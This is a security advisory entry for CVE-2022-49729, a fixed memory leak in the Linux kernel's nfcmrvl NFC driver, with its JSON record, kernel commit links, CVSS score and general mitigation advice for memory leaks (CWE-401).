In the Linux kernel, the following vulnerability has been resolved:
nfc: nfcmrvl: Fix memory leak in nfcmrvl_play_deferred
Similar to the handling of play_deferred in commit 19cfe912c37b ("Bluetooth: btusb: Fix memory leak in play_deferred"), we thought a patch might be needed here as well.
Currently usb_submit_urb is called directly to submit deferred tx urbs after unanchor them.
So the usb_giveback_urb_bh would failed to unref it in usb_unanchor_urb and cause memory leak.
Put those urbs in tx_anchor to avoid the leak, and also fix the error handling.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-49729"
],
"database_specific": {
"cwe_ids": [
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-26T07:01:48Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: nfcmrvl: Fix memory leak in nfcmrvl_play_deferred\n\nSimilar to the handling of play_deferred in commit 19cfe912c37b\n(\"Bluetooth: btusb: Fix memory leak in play_deferred\"), we thought\na patch might be needed here as well.\n\nCurrently usb_submit_urb is called directly to submit deferred tx\nurbs after unanchor them.\n\nSo the usb_giveback_urb_bh would failed to unref it in usb_unanchor_urb\nand cause memory leak.\n\nPut those urbs in tx_anchor to avoid the leak, and also fix the error\nhandling.",
"id": "GHSA-53hj-g53q-mpcc",
"modified": "2025-03-07T21:31:04Z",
"published": "2025-03-07T21:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49729"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0eeec1a8b0cd38c47edeb042980a6aeacecf35ed"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1eb0afecfb9cd0f38424b82bd9aaa542310934ee"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3e7c7df6991ac349f2fa8540047757df666e610f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3eadc560c1919b8193d17334145dad9a917960e4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6616872cfe7f0474a22dd1f12699f95bcf81a54d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6b4d8b44e7163a77fe942f5b80e1651c1b78c537"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8a4d480702b71184fabcf379b80bf7539716752e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f21f908347712b8288ffe83b531b5e977042b29c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-41
Implementation
Strategy: Libraries or Frameworks
- Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.
- For example, glibc in Linux provides protection against free of invalid pointers.
- When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].
- To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
Mitigation
Architecture and Design
Use an abstraction library to abstract away risky APIs. Not a complete solution.
Mitigation
Architecture and Design
Build and Compilation
Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.
No CAPEC attack patterns related to this CWE.